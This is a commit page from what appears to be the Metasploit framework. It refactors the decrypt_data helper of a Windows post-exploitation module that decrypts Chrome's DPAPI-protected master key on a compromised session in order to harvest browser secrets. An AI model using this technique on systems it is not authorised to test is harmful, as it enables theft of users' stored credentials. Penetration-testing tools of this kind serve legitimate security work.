Skip to content

Commit 13ae9fc

Browse files
committed
Refactor things in #decrypt_data
* Check that the initial memory was actually allocated before writing to it * Don't pass 16 to CryptUnprotectData as the ppszDataDescr parameter because it is not a valid LPWSTR * Don't leak memory in the event that CryptUnprotectData by ensuring mem and addr are always free'ed * Combine free calls into one for speed * Don't assume the sessions is ARCH_X64 if it is not ARCH_X86 because that may change some day
1 parent 9d75799 commit 13ae9fc

File tree

1 file changed

+18
-20
lines changed

1 file changed

+18
-20
lines changed

modules/post/windows/gather/enum_chrome.rb

Lines changed: 18 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -128,33 +128,31 @@ def get_master_key(local_state_path)
128128
end
129129

130130
def decrypt_data(data)
131-
memsize = 1024 * ((data.length + 1023) / 1024)
132-
mem_alloc = session.railgun.kernel32.LocalAlloc(0, data.length)
133-
mem = mem_alloc['return']
131+
mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return']
132+
return nil if mem == 0
133+
134134
session.railgun.memwrite(mem, data, data.length)
135135

136-
if session.arch == 'x86'
137-
addr = [mem].pack('V')
138-
len = [data.length].pack('V')
139-
pdatain = "#{len}#{addr}".force_encoding('ascii')
140-
ret = session.railgun.crypt32.CryptUnprotectData(pdatain, 16, nil, nil, nil, 0, 8)
141-
len, addr = ret['pDataOut'].unpack('V2')
136+
if session.arch == ARCH_X86
137+
inout_fmt = 'V2'
138+
elsif session.arch == ARCH_X64
139+
inout_fmt = 'Q2'
142140
else
143-
addr = [mem].pack('Q')
144-
len = [data.length].pack('Q')
145-
pdatain = "#{len}#{addr}".force_encoding('ascii')
146-
ret = session.railgun.crypt32.CryptUnprotectData(pdatain, 16, nil, nil, nil, 0, 16)
147-
len, addr = ret['pDataOut'].unpack('Q2')
141+
fail_with(Failure::NoTarget, "Session architecture must be either x86 or x64.")
148142
end
149143

150-
return nil if len == 0
144+
pdatain = [data.length, mem].pack(inout_fmt)
145+
ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length)
146+
len, addr = ret['pDataOut'].unpack(inout_fmt)
151147

152-
decrypted = session.railgun.memread(addr, len)
148+
decrypted = len == 0 ? nil : session.railgun.memread(addr, len)
153149

154-
session.railgun.kernel32.LocalFree(mem)
155-
session.railgun.kernel32.LocalFree(addr)
150+
multi_rail = []
151+
multi_rail << ['kernel32', 'LocalFree', [mem]]
152+
multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0
153+
session.railgun.multi(multi_rail)
156154

157-
return decrypted
155+
decrypted
158156
end
159157

160158
def process_files(username)
@@ -197,7 +195,7 @@ def process_files(username)
197195
local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State'
198196
masterkey_encrypted = get_master_key(local_state_path)
199197
masterkey = decrypt_data(masterkey_encrypted[5..])
200-
print_good('Found masterkey!')
198+
print_good('Found masterkey!') if masterkey
201199
end
202200

203201
cipher = OpenSSL::Cipher.new('aes-256-gcm')

0 commit comments

Comments
 (0)